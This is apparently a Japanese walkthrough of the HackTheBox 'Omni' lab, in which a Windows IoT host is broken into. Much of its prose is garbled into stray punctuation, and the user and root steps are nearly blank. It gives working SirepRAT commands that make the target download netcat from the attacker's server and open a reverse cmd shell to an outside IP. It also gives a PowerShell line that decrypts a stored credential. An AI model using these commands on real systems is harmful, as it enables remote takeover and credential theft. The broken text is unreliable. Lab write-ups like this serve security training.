ボックスをハックします。ウォークスルーオムニ。軽量のWindowsIoTを破る





私は、HackTheBoxサイト(https://www.hackthebox.eu)からマシンのファイナライズのために送信されたソリューションを引き続き公開しています。これが、少なくとも誰かが情報セキュリティの分野で発展するのに役立つことを願っています。





ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいるので、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします:)





組織情報

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





. , - , .





Recon

IP 10.10.10.204, /etc/hosts.





10.10.10.204    omni.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



, 8080 HTTP “Windows Device Portal”. .





, IoT SirepRAT.





Entry Point

.





sudo python3 -m http.server 80
      
      



netcat, netcat.





python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -Uri http://10.10.14.112/nc64.exe -OutFile C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe"

python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell C:\\Windows\\System32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.112 4321" --v
      
      



.





PowerShell.  , , - . .





Get-ChildItem -Path "C:\Program Files"  –Recurse -force
      
      



. . .





USER

.





.





$userTXT = Import-CliXml -Path C:\Data\Users\app\user.txt
$userTXT.GetNetworkCredential().Password
      
      



ROOT

.





.








All Articles